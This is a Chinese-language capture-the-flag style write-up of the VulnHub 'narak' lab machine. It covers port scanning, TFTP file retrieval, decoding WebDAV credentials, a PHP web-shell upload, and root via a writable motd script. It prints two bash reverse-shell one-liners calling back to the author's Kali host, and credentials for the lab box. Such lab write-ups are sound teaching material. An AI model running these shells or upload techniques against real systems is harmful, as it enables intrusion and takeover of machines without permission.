Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5
972 字
5 分钟
vulnhub靶机-narak(基于udp的tftp连接、dav渗透和motd提权)

vulnhub靶机-narak(基于udp的tftp连接、dav渗透和motd提权)#

声明#

  1. 本文为个人跟随b站up主红队笔记学习vulnhub的narak靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
  2. 该靶机下载地址为’https://vulnhub.com/entry/ha-narak,569/‘

渗透流程#

  1. 在vmware部署靶机并开机后,打开kali对靶机进行信息收集,使用nmap执行nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.160为靶机。(192.168.245.136为我的kali虚拟机的地址) scan
  2. 并进行端口发现,执行nmap --min-rate 10000 -p- 192.168.245.160,并对开放端口记录用于后续渗透,发现22、80端口。 ports
  3. 对端口进行详细扫描,执行nmap -sT -sV -sC -O -p22,80 192.168.245.160,得到端口详细服务内容和系统版本。 details
  4. 执行sudo nmap --script=vuln -p80,111,777 192.168.245.160用脚本扫一下漏洞,发现一些目录。 script
  5. 简单浏览80端口,进行目录爆破,还是上面给出的/images,/webdav目录。 dirb
  6. 查看目录,/images是存放主页图片文件夹,/webdav需要一个用户密码才能访问,弱密码尝试无效。继续深入目录爆破,增加参数执行gobuster dir -u http://192.168.245.160 -x txt,zip,rar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,获得一个tips.txt。 dirbcontinue
  7. 查看tips.txt,提示有个creds.txt文件包含下一步信息。 dirbcontinue
  8. 对于我们常常忽略的udp端口其实应当扫描,本靶机的tftp(文末会补充相关内容)可能开着,可以尝试连接。 udp
  9. TFTP是一种轻量级的文件传输协议,可以从目标服务器下载和上传文件,尝试刚才提到的creds.txt tftp
  10. 下载到该文件,获得一串字符,特征很像base64尝试解密。 txt
  11. 解密出一对用户名密码yamdoot,可用来尝试ssh连接,连接不上,尝试用于刚才webdav的用户密码。 b64
  12. 成功登录webdav。 webdav
  13. 执行davtest -url http://192.168.245.160/webdav -auth yamdoot:Swarg对webdav进行上传测试,并给出文件上传和可执行情况,发现php是支持的。
  14. 用cadaver工具连接webdav,准备制作上传shell.php(创建shell.php写入<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.245.136/1234 0>&1'"); ?>)。 davtest
  15. put上传shell.php。 put
  16. 开启监听并访问shell.php,获得www-data的shell。 shell

提权过程#

  1. 分别执行find / -perm -u=s -type f 2>/dev/null 找suid文件,find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null找可写文件,列出的/mnt/hell.sh,motd(Message of the Day,是一个在用户登录后显示的消息文件),users.password,这几个文件都应该注意。 find
  2. 查看users.password,还是一样的用户密码。 pwd
  3. 查看hell.sh信息,有一段brainfuck语言,保存到bf文件,用于解密。 bf
  4. 使用beef工具解密其为chitragupt,可能是哪个用户的密码。 beef
  5. cat /etc/passwd寻找有bash环境的用户,如inferno。 pwd
  6. 尝试用chitragupt作为密码,ssh连接成功。 ssh
  7. 连接后看到欢迎界面,结合之前找到的motd文件,我们cd /etc/update-motd.d/cat 00-header,看到该环境为!/bin/sh,准备在后面写入shell。 motd.d
  8. 如图写入bash -c "bash -i >& /dev/tcp/192.168.245.136/4444 0>&1"writein
  9. 打开监听并重新登入inferno账户,将执行00-header,成功获得root权限。 rooted

其它补充#

  1. WebDAV是一种基于HTTP协议的扩展,允许用户通过网络对远程主机上的文件进行读写、编辑和删除操作。 详细可看文章’https://www.cnblogs.com/xiefengdaxia123/p/17581325.html’介绍。
  2. 当tcp协议各端口渗透无太大进展时,尝试udp探测,如该靶机的tftp服务(这里其实尝试过上传php文件但是应该被禁止上传文件了,其它靶机可以尝试)。
  • 资料:TFTP(Trivial File Transfer Protocol,简单文件传输协议) 是一种用于在客户端和服务器之间进行简单文件传输的协议。使用UDP进行数据传输,端口号为69。
vulnhub靶机-narak(基于udp的tftp连接、dav渗透和motd提权)
http://124.70.202.140/posts/post-11/11/
作者
Ne+N3k_O
发布于
2026-03-04
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时